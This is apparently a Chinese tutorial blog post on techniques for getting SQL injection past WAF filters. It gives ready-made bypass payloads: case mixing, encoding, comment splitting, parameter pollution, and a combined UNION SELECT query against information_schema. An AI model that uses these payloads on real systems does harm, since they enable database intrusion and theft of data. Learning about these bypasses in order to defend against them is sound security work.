WAF是如何被绕过的?SQL注入常见手法解密。

常见的关系型数据库有mysql、SQL Server、Oracle、Sybase、DB2等。
sql语句标准语句写法相同,但由于不同数据库都有自己专用函数,因此过滤的规则可能也有所不同。因常见数据库都为mysql,因此以下以mysql数据库标准语句举例:

关键字:

and,or,select,update,delete,create,union,insert,net,truncate,exec,drop,declare,count,chr,mid,master,char,Sp_sqlexec,order by,where,limit等

关键字符:

" ' "(单引号)、" < "(小于号)、" > "(大于号)、" ; "(冒号)、" ( "(括号)、" ) "(括号)、" * "(星号)、" % "(百分号)、" "(空格)、" -- "(sql中的注释符)、"#"等

sql绕过方法大全:

1、大小写绕过

例如And、anD

2、编码绕过

例如%55nIon(union)、%53elect(select)【url编码绕过、十六进制编码绕过、unicode编码绕过】

3、特殊字符转换

例如and可替换为&&、or可替换为||、空格过滤转换为%0a,+,或者/**/,%20,%09,%0b,%0c,%0d,%a0、“=”转换为like,greatest,between

4、注释绕过

例如un/**/ion、se/**/lect (常用注释符://,-- ,/**/, #,--+,-- -,;--a ),内联注释绕过、/*!UNION*/

5、等价函数与命令

有些函数或命令因其关键字被检测出来而无法使用但是在很多情况下可以使用与之等价或类似的代码替代其使用

例如:hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

6、使用一些特殊字符

也可对其进行绕过,例如:`、~、!、@、()、[]、.、-、+ 、|、%00,举例关键字拆分:'se'+'lec'+'t'、(SeL)(EcT)等

7、http参数控制

HPP(HTTP Parameter Polution)又称做重复参数污染最简单的就是?uid=1&uid=2&uid=3对于这种情况不同的Web服务器处理方式不一样

举例:/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

8、缓冲区溢出

举例?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A"重复1000次一般来说对应用软件构成缓冲区溢出都需要较大的测试长度这里1000只做参考也许在有些情况下可能不需要这么长也能溢出

9、整合绕过

整合的意思是结合使用前面谈到的各种绕过技术单一的技术可能无法绕过过滤机制但是多种技术的配合使用成功的可能性就会增加不少了

举例:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
即:
注释+大小写+特殊字符绕过

复杂的SQL注入常见手大体如此,WAF是如何被绕过的?这样就清楚了。那么我们在开发中,如何防止SQL注入,如何防止waf防绕过,心中也就有些眉目,就知道该如何应对了。

-------------本文结束❤感谢阅读-------------